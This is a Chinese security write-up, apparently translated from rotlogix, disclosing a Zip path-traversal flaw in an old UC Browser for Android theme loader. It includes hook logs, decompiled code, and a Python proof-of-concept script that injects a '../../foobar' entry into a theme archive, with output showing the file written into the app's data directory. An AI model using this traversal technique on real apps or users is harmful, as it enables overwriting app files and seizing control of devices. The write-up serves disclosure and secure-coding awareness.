综述
对于那些不了解ZipInputStream Armageddon(电影:世界末日)的朋友来说,ZipInputStream就跟这部电影一样的令人失望!
ZipInputStream对于zip文档不安全的处理方式会直接导致将设备最终控制权交给攻击者,攻击者能够遍历整个路径并写入任何数据。然而今天我并不是要讲ZipInputStream的使用方法,当然如果感兴趣的开发者朋友可以花点时间看看《 Safely extract files from ZipInputStream 》
当然,我们还应该小心被我称之为“堆栈溢出”的问题代码重用综合征: https://gist.github.com/shengoo/11240519 。到目前为止,越来越开发者对ZipInputStream的错误认识导致出现BUG层出不穷,今天我们就拿UC浏览器来说事儿!
UC Browser for Android
在一个老版本的UC浏览器中,有一个特性允许用户下载并应用一个主题。这个节奏大家应该会很熟悉….主题文件本身有一个名为"uct"的自定义扩展名,事实上剥开皮它就是一个Zip压缩文件。
[~/R&D/uc-browser]> file Deep-Midnight.uct Deep-Midnight.uct: Zip archive data, at least v1.0 to extract
通过UC浏览器下载主题文件,首先将其存储在外部存储空间中,然后再复制到浏览器的数据目录之中。这里我已经知道你想说什么了,这些文件的确是浏览器通过HTTP进行下载。但是你要注意了,它还有一个从本机中导入的功能
通过工具我们可以确定用于提取和应用Zip文件内容的主题处理函数在哪:
I/Xposed ( 4803): com.UCMobile.intl : java.util.zip.ZipFile : getInputStream : zipEntry : Orange-Popsicle/config.cfg I/Xposed ( 4803): com.UCMobile.intl : java.util.zip.ZipFile : getInputStream : StackTrace : com.uc.framework.c.ai : a I/Xposed ( 4803): com.UCMobile.intl : java.util.zip.ZipFile : getInputStream : StackTrace : com.uc.browser.core.skinmgmt.aa : e I/Xposed ( 4803): com.UCMobile.intl : java.util.zip.ZipFile : getInputStream : StackTrace : com.uc.browser.core.skinmgmt.aa : handleMessage
现在我们就可以使用这些信息以及利用Lobotomy的surgicalAPI静态验证一个可能存在的BUG:
I/Xposed ( 4803): com.UCMobile.intl : java.util.zip.ZipInputStream : getNextEntry : Hooked! I/Xposed ( 4803): com.UCMobile.intl : java.util.zip.ZipInputStream : getNextEntry : zipEntry : Orange-Popsicle/color.xml I/Xposed ( 4803): com.UCMobile.intl : java.util.zip.ZipFile : getNextEntry : StackTrace : com.uc.framework.c.ak : a I/Xposed ( 4803): com.UCMobile.intl : java.util.zip.ZipFile : getNextEntry : StackTrace : com.uc.framework.c.ai : a ... .. . v0 = v4.append(v0).append("config.cfg").toString(); v4 = new java.util.zip.ZipFile(p11); v0 = v4.getEntry(v0); if(v0 != 0) { v7 = v4.getInputStream(v0); } else { v7 = 0; } ... .. .
长话短说,UC浏览器通过调用getNextEntry()抓取Zip文档中的每一个文件,并将其写入/data/data/com.UCMobile.intl/downTheme/theme/Orange-Popsicle文件夹内适当的位置。
在这里绝对没有对Zip文件进行任何验证
root@hammerhead:/data/data/com.UCMobile.intl/downTheme/theme/Orange-Popsicle # ls -la -rw------- u0_a76 u0_a76 4736 2015-11-12 14:57 color.xml -rw------- u0_a76 u0_a76 317 2015-11-12 14:57 config.cfg
攻击者从现在开始便可以从几个不同的角度着手处理该漏洞的exploit。通过中间人攻击,他们可以将一个恶意主题文件注入到下载功能的HTTP响应中。或者欺骗用户下载一个恶意主题并期待他们能够通过本地应用该主题文件。
首先我们需要在Zip文件中注入一个路径遍历,然后将其放入设备中:
import zipfile import sysif __name__ == "__main__": try: zipFile = zipfile.ZipFile(sys.argv[1], "a", zipfile.ZIP_DEFLATED) info = zipfile.ZipInfo(sys.argv[1]) zipFile.writestr("../../foobar", "foobar") zipFile.close() except IOError as e: raise e
[~/R&D/uc-browser]> python zip_inject.py Deep-Midnight.uct ┌[benjaminwatson@BENWAT-COTP-1] [/dev/ttys003] └[~/R&D/uc-browser]> unzip -l Deep-Midnight.uct ... .. . 616 01-21-15 15:27 Deep- Midnight/drawable/webAppFullScreenBtnIcon.png 2848 01-21-15 15:27 Deep-Midnight/drawable/window_1.png 1368 01-21-15 15:27 Deep-Midnight/drawable/window_1_patchdrawable.xml 6 11-12-15 15:30 ../../foobar
一旦从外部存储器中选择并应用该主题文件,我们应该是可以看到数据已被成功写入
root@hammerhead:/data/data/com.UCMobile.intl # ls StartedFlagFile UCMobile app_external app_webview bannerimages cache com coredata crash databases downTheme downWallpaper files foobar <- Success! lib scrollParams.config searchimages shared_prefs stats_offline user wa
结论
这些BUG的一次次出现,究其原因都是没有对Zip内容进行必要的验证导致。大部分情况下都是由于一些开发者不知道怎么想的,总是默认Zip文件是不会被篡改的,因而不去考虑这样所到来的后果。
*参考来源: rotlogix ,编译/FB小编鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)